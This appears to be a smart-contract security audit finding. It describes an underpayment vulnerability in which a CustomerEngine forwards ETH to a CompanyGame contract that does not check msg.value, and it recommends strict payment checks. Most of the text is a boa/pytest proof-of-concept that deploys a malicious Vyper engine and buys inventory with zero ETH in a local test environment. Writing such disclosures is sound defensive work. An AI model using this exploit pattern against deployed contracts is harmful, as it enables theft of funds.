The CustomerEngine contract uses raw_call to forward total_cost to the external CompanyGame contract, assuming that the callee verifies msg.value against the expected price:
However, this assumption is unsafe.
If the target CompanyGame contract fails to validate the payment amount, a malicious or buggy engine could call sell_to_customer() with insufficient or zero ETH, yet still trigger successful sales or state updates.
This leads to an underpayment vulnerability, where items can be purchased below cost, causing direct loss of ETH or economic desynchronization between the two modules.
This is the PoC test (drop into tests/test_refund_failure.py or run as a separate file):
import boa
from eth_utils import to_wei
import os
MALICIOUS_ENGINE_SRC = """
interface CompanyGame:
def sell_to_customer(requested: uint256): payable
@external
@payable
def exploit(company: address, requested: uint256):
selector: Bytes[4] = method_id("sell_to_customer(uint256)")
arg_bytes32: bytes32 = convert(requested, bytes32)
arg: Bytes[32] = slice(arg_bytes32, 0, 32)
data: Bytes[36] = concat(selector, arg)
raw_call(company, data, value=msg.value, revert_on_failure=True)
"""
def compile_and_deploy_from_source(source: str, deployer_address):
compiled = boa.loads(source)
if hasattr(compiled, "deploy"):
return compiled.deploy(sender=deployer_address)
return compiled
def compile_and_deploy_from_file(path: str, deployer_address):
assert os.path.exists(path), f"Contract file not found: {path}"
with open(path, "r") as f:
src = f.read()
return compile_and_deploy_from_source(src, deployer_address)
def test_underpayment_with_inline_contract():
deployer = boa.env.generate_address("deployer")
attacker = boa.env.generate_address("attacker")
boa.env.set_balance(deployer, to_wei(10, "ether"))
boa.env.set_balance(attacker, to_wei(1, "ether"))
company_path = "src/Cyfrin_Hub.vy"
company = compile_and_deploy_from_file(company_path, deployer_address=deployer)
try:
owner_addr = company.OWNER_ADDRESS()
except Exception:
owner_addr = company.OWNER() if hasattr(company, "OWNER") else deployer
boa.env.set_balance(owner_addr, to_wei(10, "ether"))
engine = compile_and_deploy_from_source(MALICIOUS_ENGINE_SRC, deployer_address=attacker)
with boa.env.prank(owner_addr):
company.fund_cyfrin(0, value=to_wei(1, "ether"))
company.produce(10)
initial_inventory = int(company.inventory())
assert initial_inventory >= 10, "setup produce failed"
with boa.env.prank(owner_addr):
company.set_customer_engine(engine.address)
onchain_before = boa.env.get_balance(company.address)
internal_before = int(company.company_balance())
requested = 3
with boa.env.prank(attacker):
engine.exploit(company.address, requested, value=0)
inventory_after = int(company.inventory())
assert inventory_after == initial_inventory - requested, f"Inventory should drop by {requested}"
try:
sale_price = int(company.SALE_PRICE())
except Exception:
sale_price = 2 * 10**16
internal_after = int(company.company_balance())
expected_increase = requested * sale_price
assert internal_after >= internal_before + expected_increase, (
f"Internal company_balance did not increase as expected: {internal_before} -> {internal_after}"
)
onchain_after = boa.env.get_balance(company.address)
assert onchain_after == onchain_before, (
f"On-chain ETH changed unexpectedly: {onchain_before} -> {onchain_after}"
)
print("initial_inventory:", initial_inventory)
print("inventory_after:", inventory_after)
print("internal_before:", internal_before)
print("internal_after:", internal_after)
print("onchain_before:", onchain_before)
print("onchain_after:", onchain_after)
Add strict payment verification within Cyfrin_Hub or enforce invariants in CustomerEngine.
Both sides should not rely on assumptions about the other’s correctness.